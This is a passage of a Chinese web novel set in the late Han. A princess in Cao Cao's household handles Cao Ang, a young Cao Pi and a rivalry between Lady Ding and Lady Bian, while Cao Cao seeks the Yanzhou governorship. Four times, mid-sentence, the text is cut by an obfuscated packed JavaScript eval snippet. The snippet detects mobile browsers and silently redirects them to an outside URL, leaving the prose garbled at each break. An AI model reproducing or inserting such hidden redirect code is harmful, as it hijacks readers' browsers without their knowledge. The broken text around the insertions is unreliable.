他不仅在朝堂上公开拍卖官位,任由宦官乱政,更是在后宫里设立了什么裸游馆,留香渠,鸡鸣堂……等等,一系列正常人无法理解的娱乐场所。 其行为已经不能说是荒唐,简直令人发止,尽管那时的曹昂还只是个孩子,可也对此有所耳闻。 或者换句话说,这些事情先帝刘宏从来就没遮掩过,只是大家碍于他身为皇帝的威严和权力,都装作不知道,看不见罢了。 可是装不知道,看不见,毕竟不代表事情不存在,而且这确实是不符合现行社会的伦理道德观念的。 曹昂的三观很正,所以他现在非常纠结,实在没办法后,他干脆忽略她拿先帝刘宏举例子的事。 “总之……总之我父亲不是那种人。” “即便他真的喜爱卞夫人容貌姣好,但更看重的一定是对方的品格。” “不然也不会这么多年都让卞夫人亲自抚养我那三个弟弟,而非送到我母亲身边。” 他竭力为父亲曹操辩解,试图证明对方并非只是以貌取人,而是真的看到了卞夫人的好。 然而听在刘琼耳朵里,这些话就自动转换成了别的。 一个本应以色侍人的妾室,却有本事这么多年盛宠不衰,还把亲生的三个孩子都养在自己身边,并让正室夫人养大的孩子都为她说尽好话,这也太不寻常了吧。 至少刘琼就觉得这里面肯定有问题,可想着想着,突然意识到一个关键。 “三个弟弟?除了你那个二弟曹丕之外,另外两个是?”她有些不确定的询问。 “是彰儿和植儿。”曹昂赶忙回答道。 “曹彰和曹植吗?那他们多大了?”刘琼兴致勃勃的追问着。 曹彰也就罢了,曹植可是个大名人,未来不仅写出了“洛神赋”“七步诗”这种名垂千古的文章诗句,还是‘才高八斗’成语的形容者。 种种光环集于一身,也难怪刘琼很感兴趣了。 “彰儿六岁了,植儿四岁半,嗯,算算也快五岁了。”曹昂如实告知。 虽然不明白她为什么突然转换了话题,不过他心里松了一口气,至少不用再探讨自己父亲和父亲妾室之间的事了。 “这样啊。”刘琼若有所思。 结合他之前说过的,曹丕现在七八岁,那么除了他的年纪对的上她的记忆外,其他几个或多或少都出现了偏差。 而这也给她敲响了警钟,或许她更应该关注眼下这个真实的世界,并以此为基调整面对问题的策略,免得自己一不小心就又有生命危险。 不过片刻,她的脑海中就涌现出无数想法,可曹昂却一点都不知道。 “你是不是也想看看彰儿和植儿啊?其实……”他还以为她是好奇自己的其他两个弟弟,正准备说点什么。 “我只是,想起了我的弟弟。”可刘琼却突然打断了他。 “什么?”曹昂有点懵。 “我说,我想我弟弟了,也不知道他现在过的好不好,有没有被人威逼胁迫?”想到小刘协现在可能的处境,刘琼就忍不住担忧。 “应该不至于,陛下可是天子,董贼再如何嚣张跋扈,也不敢做到此等地步吧。”曹昂想安慰她。 “他有什么不敢的?当初他对外说长兄是暴毙而亡,可宫里谁人不知,长兄是被他鸩杀的,那时长兄也是天子,也是陛下,可也没见董贼有所收敛。” 可刘琼却冷笑一声,直接把刘辩拿出来做例子,只这一句,就足以让曹昂哑口无言。 “好妹妹,对不住,方才我不是,不是故意……”,他抿了抿嘴唇,有些局促不安的想道歉。 “罢了,罢了,这总归是我们刘家自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656118|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,儿孙不争气,又怨得了谁?” “只盼着将来我们姐弟还有重逢的一天,届时这天下也能真正安定下来。”刘琼长叹了一声。 “一定会的,一定会有那么一天的,只要,只要我们众志成城,总能澄清玉宇,还大汉一个朗朗乾坤的。”曹昂闻言立刻给予了肯定,并十分坚定的支持道。 而他的这句话,也瞬间点醒了刘琼,自从逃出皇宫,又从孙坚手中逃离,被曹操所救之后,她的日子似乎过的太舒服了点。 这可不太妙啊,特别是他们刘家的天下现在摇摇欲坠,各路诸侯都摩拳擦掌准备从上面撕下一块肉来呢。 虽然这些和刘琼好像距离还很远,但不管如何,大汉真没了,那她这个亡国公主的下场肯定不会好。 这也是为什么来到这儿后,她就一直兢兢业业完成系统发布任务的原因,一切都是为了在乱世中保全性命。 现在曹操是对她不错,可将来如何,还真不好说。 所以当务之急,依旧是维持住祥瑞人设,并借助各种条件,积极提高自己的声望值,获取更多的拥护。 如有可能,最好是能得到权力,加入游戏,成为棋手,而非沦为棋子。 如今她对曹昂有好感是真,可利用也是真,但她觉得这两者并不冲突。 可小曹丕就不一样了,他现在对刘琼没有任何利用价值,也提供不了帮助,反而很可能会成为她前进路上的绊脚石。 尽管小曹丕这会儿年纪还小,短时间内对她构不成威胁,她还是觉得自己不该在对方身上浪费时间了。 至少不能陪对方玩什么试探身份的无聊小游戏了。 是的,刘琼已经猜到了,小曹丕几次三番的去找曹昂游说自己,无非就是怀疑她身份有异,更确切一点,应该是小曹丕的母亲提醒了他。 那么事情反而好办了,既然问题出在曹家后院的女眷身上,那就该由她们自行解决此事。 但与此同时,她又必须把自己摘出来,这就很是需要一点技巧了。 就在她盘算着该怎么做才好的时候,曹昂居然先一步打起了退堂鼓。 “好妹妹,要不然,我还是别让丕儿来你这儿了吧,也免得你伤心。” 他是担心她会触景伤情,看到他们兄弟在一起,又想起自己亲人的悲惨遭遇来。 “我伤心与他来见我有何干系?更何况我先前已经答应了,倘若临时反悔,岂非食言而肥?” “我虽不是男子汉大丈夫,可也懂得一言既出,驷马难追的道理,既然已经允了,现下自然不会反口,你且放心带他来就是。” 然而刘琼却突然想到了什么,说了一大堆道理后,还是坚持要见小曹丕。 “既如此,那我改日带他来。”话都说到这个份儿上了,曹昂也只得点了点头。 “不过,我还有一个条件,你必须要依我,否则我就不见他了。”然而他刚答应,刘琼就开始讨价还价,仿佛已经把刚才那些信誓旦旦的话都忘了个干净。 “你说,无论什么条件我都答应。”曹昂见状,也只以为是小女儿家顽皮,并无责备的意思,反而有些纵容。 “这可是你说的,附耳过来。”刘琼等的就是他这句话,她朝他招了招手。 也不知她在他耳边说了些什么,总之曹昂连连点头。 17. 以花喻人 刘琼答应曹昂会找个机会见见他弟弟,可一连数日也不见下文,直到一日天色阴沉,眼看就要下雨了,却听她说今日不忙,可以与其相见。 曹昂看天气不太好,但建议她要不要该日再见,可刘琼却坚持,并说就现在有时间。 曹昂无奈,只得派人去小曹丕那儿传话,问他要不要来。 出乎意料的,小曹丕还真来了,可是刘琼却没有立刻请他进房间,反而让曹昂在后院凉亭里先接待对方。 刘琼还特地提及了当日他们的约定,曹昂想着自己的确答应了,便也只好从命,先去凉亭接待弟弟。 小曹丕做了好久的心里建设,并无数次设想待会儿见了那个所谓的大哥的‘表妹’,自己的‘表姐’,该怎么表现才能顺利套出对方的真实身份,可是等来等去,等来的却是自己大哥。 曹昂只得解释说刘琼今日是临时待客,难免要梳妆打扮一番,不过也并非故意怠慢,只是最近太忙,一直没找到机会,让弟弟不要介意。 小曹丕听到这些其实心里很介意,因为他觉得这是对方根本不重视此次会面,明明非常不满,可偏偏他却笑着说没关系,大家都是亲戚,这些小事不算什么。 两兄弟说着话时,侍女们鱼贯而入送上了茶点,又随即行礼退下,但并没有离开后院,而是分散开来站定,听候吩咐。 小曹丕对这些侍女不感兴趣,可曹昂却觉得有点奇怪,以前他每次来,都是慧儿领着其他侍女一起侍奉的,可刚才那个打头的,显然不是慧儿。 不过他还来不及多想,就听见空中突然响起一声炸雷,随后没多久,便有淅淅沥沥的小雨落了下来。 凉亭周围正是荷塘,雨滴打在椭圆的荷叶和粉白粉红的莲花之上,有轻微的‘噼里啪啦’声响起,还有一些游鱼不时浮出水面,倒是一番好景致。 “哥哥看的这么入迷,那是喜欢水上的花叶,还是水下的游鱼呢?”小曹丕见曹昂看的出神,不由得出言发问。 “都喜欢,我记得,昔年汉武帝命宫中乐府收录民歌,其中有一首便是写莲。” “那句‘鱼戏莲叶间’,倒是十分符合眼下的场景。”曹昂笑着回答道。 “可弟弟怎么记得,那首民歌写的是‘江南’呢?”小曹丕却故意道。 “的确是写江南,只是以莲为内容,展现江南的水乡风光。”曹昂还以为他是不解其意,便耐着性子解释。 “哥哥似乎颇为推崇此花?”小曹丕看了他一眼。 “莲花香气清雅,又含高洁之意,恰似花中君子,我自然推崇。”曹昂点了点头。 “哥哥所言极是,只可惜……”,小曹丕故意停住。 “只可惜什么?”曹昂果然好奇的追问。 “只可惜莲花多粉白粉红,美则美矣,终究不够浓烈,不似开在我和母亲院中的石榴花,明媚热烈,艳若丹霞。” “且莲花生于污泥之中,又有游鱼搅动池水,难免沾染浊气,更比不得石榴花生于枝头树梢,使人仰望。” “哥哥你说是不是啊?”小曹丕明明就意有所指,可脸上却满是无辜之色,仿佛只是在说这两种花的区别。 “其实生在哪里,什么颜色,又有什么关系呢?这些终归都是外物,不值得一提。” “真正使人敬佩倾慕的,乃是花儿自身代表的品格啊。”曹昂似乎没听出来,反而从另一个角度解析了这个问题。 “品格?好,那我们就说品格。” “哥哥方才讲,莲乃花中君子,可世人提起花中君子,往往指的是兰花啊。” 小曹丕听到这儿,以为他在暗讽自己,心下恼怒非常,语气也开始变得有些冲。 “世人喜爱兰花,是因为兰花香气清幽,且生于深山幽谷,哪怕无人欣赏也依旧开放,代表谦逊坚韧之品格,故而称之为君子。” “而我推崇莲花,则是因它虽生于污沼之地,但却清新脱俗,不染纤尘,正合洁身自好,纯净正直的品格,所以我愿称它为君子。” “在我看来,这两种花,都是君子,并无高下之分。” 曹昂看出弟弟有些不悦,但并未多想,只以为是辩论中观点不同导致的,便耐着性子跟他解释。 “那哥哥又如何看待石榴花吗?”但小曹丕却并不买账,转而又问。 “石榴花如火如荼,又代表富贵多子,自然也是极好的。”曹昂笑着回答道。 “那我改日请哥哥到我院中赏花如何?”小曹丕这才感觉舒服了点。 “好是好,可我记得,石榴应是五六月的花期吧,现下都快九月了。”曹昂有些迟疑。 “哥哥有所不知,五六月开花的是果石榴,饱满多子,甘甜多汁,是用来吃的,我母亲院里种的正是这种。” “而我院中所植乃是花石榴,果子虽极小极酸,但花期却长,一年十二个月,它能开八九个月,且花瓣重叠,仿若烈焰,极为耀眼美丽。” “是父亲特地从外地给我带回来的。”小曹丕说到这儿,不由得加重语气强调,很显然,他在炫耀父亲曹操对他的宠爱。 “那想必真的很特别,我现在都有点期待了。”岂料曹昂听了,眼里只有向往和好奇,没有羡慕,更不必提嫉妒。 “……”,这让小曹丕很不高兴,因为一点成就感都没有。 可还不等他说什么,就听到身后突然传来一个悦耳的女声。 “大老远的就听表哥说期待,期待什么啊?” 兄弟两个同时回头看去,却见刘琼正带着慧儿走过来,她一身青衣,头上只绑了两条同色发带,穿着打扮简简单单,但却丝毫掩不住倾国之貌。 曹昂也就罢了,毕竟他们彼此相熟,而且日日相见,但小曹丕见到她的时候,眼睛一下子就亮了。 此时天色阴沉,细雨连绵,她却仿佛在发光一样,让人一眼看过去,除了她外再也看不见其他。 “表哥,你们这是说什么呢?也讲给我听听吧。”刘琼却神情自然走到曹昂身旁坐下,慧儿则是行礼以后,站在了外面一点听候吩咐。 “刚才我们正说起……”,曹昂刚要回答,小曹丕却突然打断了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656119|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “表姐,弟弟见过表姐。”随即,他起身行了一礼。 “妹妹,还没给你介绍,这是我二弟,曹丕。”曹昂也反应过来,抬了抬手道。 “知道,我又怎么会不知道呢?这可是我今天的客人啊。”刘琼笑意盈盈。 “好弟弟,咱们都是亲戚,不必客套,坐吧。”说着,她抬手虚扶了他一把。 “多谢表姐。”小曹丕见她以礼相待,态度很好,心里也十分高兴。 “刚才在说什么期待啊。”刘琼转头又去问曹昂。 “是在……”,曹昂还没说完,就又被打断了。 “是在赏花,有关莲花,兰花,石榴花这三种,我和哥哥见解不同,未曾达成一致。” “但见表姐生的花容月貌,又谈吐文雅,必然对此有不凡的见识,丕儿斗胆请表姐点评一下。” 小曹丕连抢两次话头,已然十分失礼,但曹昂素来友爱兄弟,不以为意,而刘琼又最善于伪装,面上也无责备。 “表哥,你这个弟弟真是嘴甜,既如此,那我就说说我的看法吧。” 刘琼依旧笑意盈盈,甚至还夸了小曹丕一句,但她心里其实已经很不满了。 “我等愿闻其详。”曹昂和小曹丕都没看出来,反而一副洗耳恭听的样子。 “我觉得莲花素雅,兰花清幽,石榴花富贵,并无特别偏爱的,我欣赏每一种花的独特之处,不过……”,话到此处,她顿了顿。 “不过什么?”小曹丕迫不及待的追问。 “不过论起食用,我倒更喜欢莲花一些,因为有莲藕可吃,夏日炎炎,这个最是解暑下饭了。”刘琼眨眨眼,有些俏皮道。 “石榴花谢了之后也有果子可吃啊,改日我请表姐到我那儿去尝尝。”小曹丕争辩道。 “丕儿,你院中的石榴不是观赏性花卉吗?”不等刘琼回答,曹昂却提出了疑问。 “……届时我请人去母亲那儿摘几个果子回来不行吗?”小曹丕闻言,顿觉十分丢脸,几乎是从牙缝里挤出来的这句反问。 “自然行了,不过我还想看石榴花呢。”曹昂点了点头。 小曹丕一连两次被他无意识暴击,脸上的表情都快控制不住了。 “这个容易,我们边吃石榴,边看花,不就好了?”但碍于刘琼在场,为博好感,还是硬生生的把怒火压了下去,笑着提出一个两全之法。 “表哥,这听起来好有意思啊,届时我们一起去吧。” “观赏性的石榴品种,就连我也很少见,更别提一边吃石榴,一边看花了。” 刘琼见状,立刻抓住曹昂的胳膊晃了晃,兴致勃勃的请他答应,却又仿佛不经意间添了后半句。 “那好啊。”曹昂自己也想试试,当然不会不答应。 就这样,三人达成了一致,刘琼又招待他们兄弟用了晚膳,正好雨停了,他们便结伴离开。 只是没过多久,就有一个侍女悄悄离了这里,瞧她的模样,正是刚才在凉亭侍奉的人,她朝着正院方向而去,不多时,丁夫人便知道了今天发生的一切。 18. 家事国事 那侍女如实禀报了在凉亭中发生的一切,包括小曹丕是什么神情,语气如何,眼神怎样,都描述的活灵活现。 丁夫人听罢,眉头皱的很紧,显然对于这个次子接二连三的失礼行为极其不悦。 不过她并没有贸然发火,而是更详细的询问了曹昂和刘琼的反应。 侍女亦是一五一十的统统说了个清楚。 在得知儿子一如既往的友爱兄弟,并不为对方的冒犯而生气的时候,丁夫人不由得叹了一口气。 曹昂虽然不是她生的,但却是她一手抚养长大的。 这孩子自小就孝顺父母,友爱家人,更难得的是他还文武双全,生的又俊,丁夫人一直以他为自己的骄傲。 可是现在她也不得不承认,曹昂没有半点危机意识,根本察觉不到来自小曹丕的恶意,更不必提,想到对方很可能在觊觎他的位置了。 至于刘琼的反应,通过侍女的描述,丁夫人确信公主肯定是看出了什么。 之所以不明说,而是特地安排自己派去的侍女守在周围,估计也是想让她这个当家主母来解决,不管怎么说,这也是他们曹家内部的事。 公主没必要,也不应该插手。 从这点来看,丁夫人很欣赏刘琼,自己的儿子太过纯善,将来也实在是需要一位心有成算的妻子为他谋划。 俗话说,妻贤夫祸少,不是没有道理的。 不过那都是以后的事了,而现在,该是她这个当母亲的为儿子做点什么了。 丁夫人让传信的侍女回去伺候刘琼,随后又唤来了心腹娘子,要她去查小曹丕的衣食起居种种事情,同时也要查卞夫人这些日子在做什么。 小曹丕如今才七八岁的年纪,就算真有什么不轨之心,多半也是身边的人教唆,卞夫人作为这孩子的母亲,一定脱不了干系。 那心腹娘子得了吩咐后,领命而去,没几日的功夫,就将这一切写成了帛书,呈到了丁夫人面前。 这真是不看不知道,一看吓一跳。 这么多年,卞夫人一直表现的不争不抢,安分守己,丁夫人也不是没看出这里面有些水分,可她怎么也没想到水分竟然这么大。 是,卞夫人的吃穿用度的确简朴,可曹操常在她院里留宿,再简朴又能简朴到哪里去,这曹家上下又有谁敢给曹操脸色看? 更别提卞夫人膝下有三个小公子,这光是伺候的奴仆就是一大批,吃穿用度更是最好的。 不过这些开支却是曹操允准的,反正是用在他亲儿子身上,他不觉得有什么。 根据许多侍女的证词,孩子们待遇太好了,卞夫人这个亲生母亲不仅没有骄傲,反而常常劝阻。 可这反倒让曹操觉得她太低调,太简朴了,那他就更该让旁人知道他重视她们母子,结果就是她们母子的待遇不降反升。 旁人看不出这里头的弯弯绕,可却瞒不过丁夫人的眼睛。 卞夫人此举,其实就是把责任都推到了曹操这个家主身上,她得了好待遇不说,还落下好名声。 至于小曹丕的种种僭越失礼之举,纵然有他自己天生性格的原因,但卞夫人对他的教导和影响也是毋庸置疑的。 望着帛书中这一行行字迹,丁夫人简直都要气笑了。 “好一个一石二鸟,一箭双雕。” “只恨我从前瞎了眼,竟然觉得她与其他妾室不同,是个安分守己,与世无争的。” “原来人家这是以不变应万变啊。” 她捏着帛书的力道也越来越大,说这话时,目光也越发凌厉,心中恼怒非常之下,竟是连曹操一起抱怨起来。 “夫君也是,做事太没有分寸了。” “明明先前已经与我商定了公主和昂儿的婚事,却还要给个次子如此多的宠爱。” “现下可好,不止纵得他在家里不知天高地厚,竟然还打起了公主的主意。” “当真是可忍,孰不可忍!” …… 丁夫人不愧是为人正室的,出嫁前就接受过家族联姻中最重要的培训,那就是利益捆绑,其他诸如感情之类的东西,都可以往后放。 先前那侍女报信时说小曹丕对刘琼大献殷勤时,她就猜到应当是卞夫人看出了什么,现在查出来的这些,更是坐实了这点。 “夫人,您生气,奴婢知道。” “可容奴婢说一句实话,那院里的,可是主君心尖上的人,她还有三个小公子。” “这事儿如果直接跟主君谈的话,她大可以一推四五六,只说自己不知道也就结了。” “而二公子还小,主君就算得知了他的无礼,也最多申饬几句,不痛不痒的就过去了。” “到头来,主君只怕还会觉得是您小题大做,反落下埋怨。” “眼下形势甚为严峻,可也正因为如此,夫人,您可千万不能冲动啊。” “就是为了大公子,您也要冷静下来。” 丁夫人就快气炸了,可她的心腹娘子却及时跟她分析了眼下的利害关系,又劝她冷静。 别最后她们占理,却因对敌策略问题而挽不回损失,那才叫真正的哑巴吃黄连,有苦说不出呢。 “你说的对,便是为了昂儿,我也得好好筹谋。”丁夫人听了这些,深吸几口气,强行平复下心情。 “那夫人打算怎么做?”心腹娘子问道。 “我的夫君我知道,既好酒又好色。” “什么心尖上的人,那是他还没碰到更美更好的,不然早把什么旧日爱妾扔到九霄云外去了。” “你去,寻几个模样标致,会讨好男人的回来,我就不信分不了那贱人的宠。” “届时,我也要让她尝尝什么叫花无百日红,人无千日好。” 丁夫人冷笑一声,当即便决定打蛇打七寸。 卞夫人不过是个妾室,没有夫君偏爱,娘家又是那样下等的门户,只这点就足以让她对自己再也构不成威胁。 “夫人说的是,那二公子那儿?”那心腹娘子提到这个,小心的探问道。 “丕儿这孩子纵然性子不好,可到底也是夫君的骨肉,我……”对于不听话的妾室,丁夫人下手很利落,可涉及子嗣,她就很犹豫。 “夫人,您是当家主母,心地良善,舍不得府里的任何一个孩子。” “但有些事,也不能只我们知道,主君那儿也该通通信儿,不然他还觉得二公子是个可造之材呢。” 眼看丁夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656120|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心软,那心腹娘子又从袖中取出一张帛书递了过去,里面只写了几行字,但信息量却大的很。 这上面记载小曹丕时常饮用甘蔗汁。 而甘蔗是南方岭南地区的作物,本身是用做制糖的,而榨成汁水,运到北方,中途必须用冰鉴保存。 这又是糖,又是冰的,这东西的价格自然不便宜。 不过更重要的是,甘蔗汁还是一味药材,长期饮用的话,可以治疗气疾,也就是肺热咳嗽等呼吸方面的病症。 “原来如此,我说怎么丕儿这孩子小时候三天两头看医师,大了反而中气十足,精神不已,敢情不是没病,而是假充康健啊。” 丁夫人瞬间就明白了这里头的弯弯绕,也提高了对卞夫人的警惕,前几年曹丕还那么小,根本不可能瞒下这种事。 而她当时忙着照料曹昂进学的事,也没有过多插手小曹丕的教养问题,但她也是心疼那孩子的,便给卞夫人大开方便之门,允许对方随时找医师给小曹丕看病。 想来那时卞夫人就知道自己儿子先天不足,但却故意隐瞒了下来。 “真是好心机,好手段。” “我若不回敬她们母子几分,人家只怕还当我是个软柿子,好骗,好拿捏呢。”想通其中的关窍之后,丁夫人是真恼了。 “甘蔗汁多贵重的东西啊,咱们这样的人家哪能天天喝?” “况且这东西到底也不是药,这讳疾忌医可不好啊。” “你去,把事情办好,医师也备下,多找几个,可千万别怠慢了。”她给了心腹娘子一个眼神。 “夫人放心吧,奴婢都记下了,等主君一回来,必定让他知道您是多么疼爱府里的孩子。”那心腹娘子心领神会,当即行了一礼后,下去准备了。 如此一来,房间里就只剩丁夫人自己。 “以前我不争不抢,是因为我膝下无子,争也无用,可现在我有了儿子,公主又喜欢他,那我的日子也就有了盼头。” “谁要是敢在这上面做手脚,那就别怪我把她爪子剁了!” 丁夫人拿起那些帛书走到烛台前,将其放到蜡烛之上,静静的看着火苗点燃一角,慢慢吞噬剩下的部分,眼中那凌厉的目光却令人感觉不寒而栗。 在她的安排下,一切都在暗中有条不紊的进行着,只等曹操一回来,家里就会上演一出再精彩不过的大戏。 而曹操此时,也正带着自己的亲卫们快速往家里赶,这倒不是因为他收到了家里的消息,而是因为前线取得了大胜,黑山军已经被击溃。 更让他高兴的是,兖州牧刘岱死于黄巾军之手,兖州现在出现了权力真空。 而他所在的东郡正是兖州的重要组成部分,如今他又打赢了黑山军,实力正盛,非常有机会得到兖州牧的位置。 但这其中最关键的,是如何使得兖州官员支持自己。 考虑到原来的兖州牧刘岱是汉室宗亲,支持他的也多是大汉忠臣,曹操觉得,如果他能说服万年公主帮忙,那么兖州牧的位置一定十拿九稳。 而且这消息袁绍那边还不知道,他必须赶在对方以及其他诸侯下手之前拿到兖州,否则这地盘是谁的,那就说不定了,也难怪他这般火急火燎的赶回来。 19. 欲擒故纵 曹操深夜回府,且行色匆匆直奔正院,丁夫人见其骤然回转,又风尘仆仆,神色肃穆,料定必有大事发生,立刻请他入内室,又屏退左右。 曹操见状,仍不放心,又命亲卫守好门窗,确信消息不会外传后,这才与丁夫人说出了兖州牧刘岱已死,他有意图谋兖州之事。 “夫君可是有难处?”丁夫人斟酌着询问。 “确有难处,若只论兵力,我已是兖州最强,又刚刚击溃了黑山军,将士们气势如虹,比之其他地区不断溃败的官军强上许多。” “原兖州牧刘岱所在兖州中心的濮阳城的众官员,也已经来信,说是愿意迎我入主兖州。” “只是此次来请我之人乃是陈宫和鲍信,鲍信也就罢了,他此行必是代表兖州士族前来表态,至于旁的,起不到什么作用。” “真正让我为难的是陈宫,陈公台啊。”话到此处,曹操叹了一口气。 “夫君口称对方表字,难道与其相识?”丁夫人问道。 “何止是相识,还有恩情和芥蒂呢。”说着曹操便把当年之事娓娓道来。 “当年我刺杀董卓失败,被其下令通缉,是县令陈宫冒险救了我。” “我们意气相投,都志在匡扶大汉,他宁可弃官不做,也要与我一起兴义军,讨董贼,这便是恩情,还是救命之恩。” “可一同回乡途中,却又生变故,我误杀了吕伯奢一家,陈宫目睹了这一切,就此与我生了嫌隙,最后弃我而去,芥蒂也因此而来。” “接着我便与其他诸侯合兵去讨董贼,事后又千里奔袭救回公主,于扬州募兵,做东郡太守。” “一直忙的不可开交,也就没有注意到陈宫的去向。” “不曾想他却是投在了兖州牧刘岱手下,如今又被派来请我,真是世事无常啊。” 话到此处,曹操也禁不住一阵感慨。 “所以,夫君是担心陈宫此来未必诚心诚意?”丁夫人听到此处,总算明白了他的忧虑。 “不错。”曹操点了点头。 “此次鲍信虽与陈宫同行而来,但我料定促成此事的关键必在陈宫,可偏偏他与我又……” “唉,为之奈何,为之奈何啊。”话到此处,他也很是为难。 “那妾身能为夫君做些什么呢?”丁夫人见他长吁短叹,却并不焦虑,而是直接问他有什么想法。 多年夫妻,她早就和曹操有一定的默契,能猜到他几分心思,若不是此事有需要她的地方,他绝不会特地归家,还一回来就找她。 “方才我已经说过,陈宫此人乃大汉忠臣,若要使他与我化干戈为玉帛,只怕还需公主帮忙啊。”说了半天,曹操终于进入了正题。 “只是为夫志在得到兖州牧的位置,若亲自去游说公主,恐有贪图权位之嫌,故而想请夫人施以援手,与公主言明其中利害。” 他与丁夫人双手紧握,言辞恳切,仿佛诚心相求,然而她却明白,这并非真的是请求,而是不容置疑的命令。 “你我夫妻一体,夫君但有所求,妾身自当鼎力相助。”但她并没有戳破此事,反而回握住对方的手,与他一同演好这出同心协力的戏码。 “那就多谢夫人了。”听到这儿,曹操当即大喜过望。 “只是妾身还有一句话,不知当讲不当讲?”丁夫人却故作为难。 “你我多年夫妻,有什么不能讲的,说吧。”曹操大方道。 “妾身想着,府里人多眼杂,公主身份本就是绝密,如今又要请公主说服陈宫,以助夫君成为兖州牧,此事十分重大。” “在功成之前,实在不宜泄露出去,如此,还是寻一他处会面为好。”丁夫人斟酌着建议道。 “夫人所言甚是,那不知你可有良策?”曹操也深以为然,又见她胸有成竹的模样,不由得出言发问。 “妾身一妇道人家哪里有什么良策?不过是想着再过三五日便是重阳佳节,正适合于郊野登高望远。” “届时引家中女眷与客人相见,既合礼数,又不显眼。” “且旷野之地,有无第三人在场,亦是一目了然,断不会出现隔墙有耳之事,不知夫君以为如何?”丁夫人笑道。 “妙,妙啊。”曹操闻言,合掌赞叹。 他算着濮阳到东郡,也就是三五日的车程,若是骑马则更快,也就是无论如何,他们都有时间提前布置。 “那一切就拜托夫人周旋了。”他郑重其事道。 “夫君放心就是。”丁夫人点头应下,随即不经意间说了一句。 “对了,丕儿最近有些不舒服,请了医师来看,说是冷热交替引发了气疾,那这次重阳节登高之事……”她故意停在了此处。 “三五日后,能治愈吗?”曹操皱了皱眉。 “只怕不能。”丁夫人摇了摇头。 “请了好几位德高望重的医师来看,都说是胎里不足导致的天生体弱,只能好好将养着。”她说的是实话。 “胎里不足?怎么我不曾听你说过?”曹操很疑惑。 “夫君容禀,丕儿这孩子自幼是养在他亲生母亲那儿的,小时候也常延医问药,我也时常过问,这些夫君也是知道的。” “只是当时我每每询问卞家妹妹,她都说是风寒所致,又几年后,丕儿也生的十分康健了,我也就没有细细追问,也许当时是我这妹妹有所疏忽也说不定。” 丁夫人不动声色的给卞夫人上眼药,话里话外都是对方可能故意隐瞒了小曹丕先天不足的事。 “既然是胎里带的弱症,那就让丕儿留在府里好好修养吧,此次重阳节之行,他不必参与。”曹操听到这儿,眉头皱的更紧,思虑再三后,还是如此决定道。 “可卞妹妹那儿还有彰儿和植儿在,他们兄弟还去吗?”丁夫人故意问道。 “彰儿和植儿还小,就别乱跑了,此行又非单纯的庆祝节日,他们不宜出门。” 曹操固然疼爱卞夫人所出的儿子们,但眼下之事涉及到了他未来的前程,且卞夫人还有可能故意隐瞒了他次子的病情。 这种种缘由叠加起来,已经足以让曹操对她产生不满,也为保此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656121|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事万无一失,所以他干脆利落的就拒绝带她们母子一起参与。 “夫君说的是,那我就派人去告诉卞妹妹一声吧。”丁夫人看了他一眼,试探的提议道。 “不用,夫人你专心去说服公主,她那儿我派人去一下就行。”曹操却摇了摇头。 “一切都听夫君安排。”听到这儿,丁夫人总算露出了真心实意的笑容。 而卞夫人和小曹丕那边在接到曹操派人传来的话时,却如晴天霹雳。 重阳节可是很重要的节日,父亲竟然不带她们母子任何一人出行,小曹丕当即便气急攻心,顿时咳嗽的更加厉害。 卞夫人虽疑心其有内情,但见此情形,也只得先照顾儿子,房间内外弥漫着中草药的味道,熏得外面的石榴花都蔫了几分。 与此同时,丁夫人却信心满满的去了刘琼那里,跟她分说其中利害,她相信公主明白自己的意思的。 而刘琼在听到曹操希望自己去打消陈宫的疑虑,使其化干戈为玉帛后,几乎是瞬间就意识到,曹操在图谋兖州牧的位置。 而现在这个事件发生的时间,比她记忆中的提前了许多,但没关系,刘琼觉得这也未尝不是一件好事。 丁夫人自然没有说的特别透彻,但刘琼却明白,陈宫此人乃是真正的大汉忠臣,哪怕他暂时选择相信曹操,心里也不会认同对方,而这就是她拉拢陈宫的机会。 